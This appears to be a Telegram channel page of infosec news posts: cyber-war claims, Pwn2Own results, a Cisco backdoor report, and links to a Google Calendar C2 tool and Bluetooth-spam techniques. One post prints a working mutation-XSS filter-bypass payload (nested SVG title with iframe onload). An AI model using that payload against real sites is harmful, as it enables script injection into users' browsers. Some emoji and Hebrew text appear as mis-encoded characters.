TGViewer
Channel Public Channel
cKure Red

cKure Red

@ckured

The director's cut on critical feeds from InfoSec world ๐ŸŒŽ

Main Channel: @cKure

โ˜•๏ธ or queries email us
๐Ÿ“จ i@ckure.org
Open in Telegram
Subscribers
2.79K
Photos
73
Videos
71
Links
482

Showing posts older than #356 ยท Back to latest

Older Posts 20 shown
Post #353 1.46K
Anonymous (Hacktivist group) sends a message to the Israeli leader and government amid ongoing attack on children of Palestine.

Story; part of Israel-Palestine Cyber-War.

https://youtu.be/BGcHzs9LKQE
Post #351 1.27K
Zero-Day: Universal MXSS.

Works in all browsers and is likely to bypass lots of filters because title is both an SVG and HTML tag. Briefly checked DOM Purify and it looked okay.

<svg>
<title>
<title>
<image href="</title><iframe onload=alert(1)>">
</title>
</title>
</svg>
Post #350 1.4K
GCR - Google Calendar RAT
Google Calendar RAT is a PoC of Command&Control (C2) over Google Calendar Events, This tool has been developed for those circumstances where it is difficult to create an entire red teaming infrastructure. To use GRC, only a Gmail account is required. The script creates a 'Covert Channel' by exploiting the event descriptions in Google Calendar. The target will connect directly to Google." It could be considered as a layer 7 application Covert Channel (but some friends would say it cannot be :) very thanks to my mates "Tortellini" https://aptw.tf)

https://github.com/MrSaighnal/GCR-Google-Calendar-RAT
Post #346 1.17K
Cyber-Attack apparently deciphered.

Kazakhstan-associated YoroTrooper disguises the origin of attacks as Azerbaijan.

https://blog.talosintelligence.com/attributing-yorotrooper/
Cisco Talos Kazakhstan-associated YoroTrooper disguises origin of attacks as Azerbaijan Cisco Talos assesses with high confidence that YoroTrooper, an espionage-focused threat actor first active in June 2022, likely consists of individuals from Kazakhstan based on their use of Kazakh currency and fluency in Kazakh and Russian.
Post #345 995
โ— Reattaching video due to format issues (apparently).
Post #343 1.12K
Cyber-Attack amid Israel-Palestine Cyber-War: Iranian state sponsored (as per Israeli sources) threat actor has allegedly compromised a data center pertaining to Israel with over 30TB of Data being wiped off in the attack.

The video was shared by the threat actor with technical detail.

Furthermore, a message was shared alongside the video PoC;
Thenceforth,you will suffer irreparable damage,We will punish you...
Also we destroyed more than 30 TB of data from different servers



ืžืขืชื” ืชืกื‘ืœื• ื ื–ืงื™ื ื‘ืœืชื™ ื”ืคื™ืš
ืื ื—ื ื• ื ืขื ื™ืฉ ืืชื›ื
ื‘ืžืชืงืคื” ื–ื• ื”ืจืกื ื• ื™ื•ืชืจ ืž-30 ื˜ืจื” ื‘ื™ื™ื˜ ืฉืœ ื ืชื•ื ื™ื ืžืฉืจืชื™ื ืฉื•ื ื™ื
Post #341 1.04K
Israel-Palestine Cyber-War update!

๐Ÿ‡ฎ๐Ÿ‡ท๐Ÿ‡ฎ๐Ÿ‡ฑ The Iranian hacker group "Moses Staff" has released a video in which they demonstrated the hacking of surveillance cameras positioned above the Mossad headquarters and the 8200 Unit of Aman (Israeli electronic intelligence unit) headquarters.

The message from the Iranian hackers states: "We have been instructed to remain silent, but we are prepared and armed. We await orders from our leader."
Post #340 1.02K
cKure Red โ— Pwn2Own Toronto [Day 1] https://youtu.be/pcLkJ5YsA8w [Day 2] https://youtu.be/xc1yERrNMjA
โ— Hackers earn over $1 million for 58 zero-days at PwnยฒOwn Toronto.

https://youtu.be/E6bGDScaz78

https://www.zerodayinitiative.com/blog/2023/10/23/pwn2own-toronto-2023-the-schedule

https://www.youtube.com/live/Tm8-syB79FQ

https://www.bleepingcomputer.com/news/security/hackers-earn-over-1-million-for-58-zero-days-at-pwn2own-toronto/
YouTube Wrapping Up Day Three of Pwn2Own Toronto 2023 #pwn2own #0day #zerodayinitiative We've now completed three days of Pwn2Own Toronto 2023, and each day brings even more explosive research. We finish the day with a contest total of $938,250 awarded, and with four more attempts tomorrow, that million-dollarโ€ฆ
Post #337 1.2K
A backdoor is implanted on Cisco devices by exploiting a pair of zero-day flaws in IOS XE software that has been modified by the threat actor so as to escape visibility via previous fingerprinting methods.

The attacks entail fashioning CVE-2023-20198 (CVSS score: 10.0) and CVE-2023-20273 (CVSS score: 7.2) into an exploit chain that grants the threat actor the ability to gain access to the devices, create a privileged account, and ultimately deploy a Lua-based implant on the devices.

https://thehackernews.com/2023/10/backdoor-implant-on-hacked-cisco.html
Post #336 1.19K
GAP by x.com/xnl_h4ck3r

A BurpSuite extension that can help you bruteforce and enumerate undiscovered parameters!

This is an evolution of the original getAllParams extension for Burp. Not only does it find more potential parameters for you to investigate, but it also finds potential links to try these parameters on, and produces a target specific wordlist to use for fuzzing.

https://github.com/xnl-h4ck3r/GAP-Burp-Extension
Post #335 1.21K
DARPA worried battlefield mixed reality vulnerable to 'cognitive attacks'.

Hacks, physical tricks could turn headsets into vomit extractors, but tests already show no ops needed for that.

https://www.theregister.com/2023/10/12/darpa_worried_battlefield_mixed_reality/
The Register DARPA worried battlefield mixed reality vulnerable to 'cognitive attacks' Hacks, physical tricks could turn headsets into vomit extractors, but tests already show no ops needed for that
Post #334 1.35K
Spam iOS, Android and Windows with Bluetooth pairing messages using Flipper Zero or Android smartphone.

https://www.mobile-hacker.com/2023/10/17/spam-ios-android-and-windows-with-bluetooth-pairing-messages-using-flipper-zero-or-android-smartphone/
Mobile Hacker Spam iOS, Android and Windows with Bluetooth pairing messages using Flipper Zero or Android smartphone - Mobile Hacker So far, it was possible to spam through proximity paring messages only iOS devices, either using Flipper Zero, Arduino board or any Android as explained in my previous blog here. However, recently developers of Xtreme firmware for Flipper Zero pushed andโ€ฆ
Older posts โ†’
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook โ†’Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 โ†’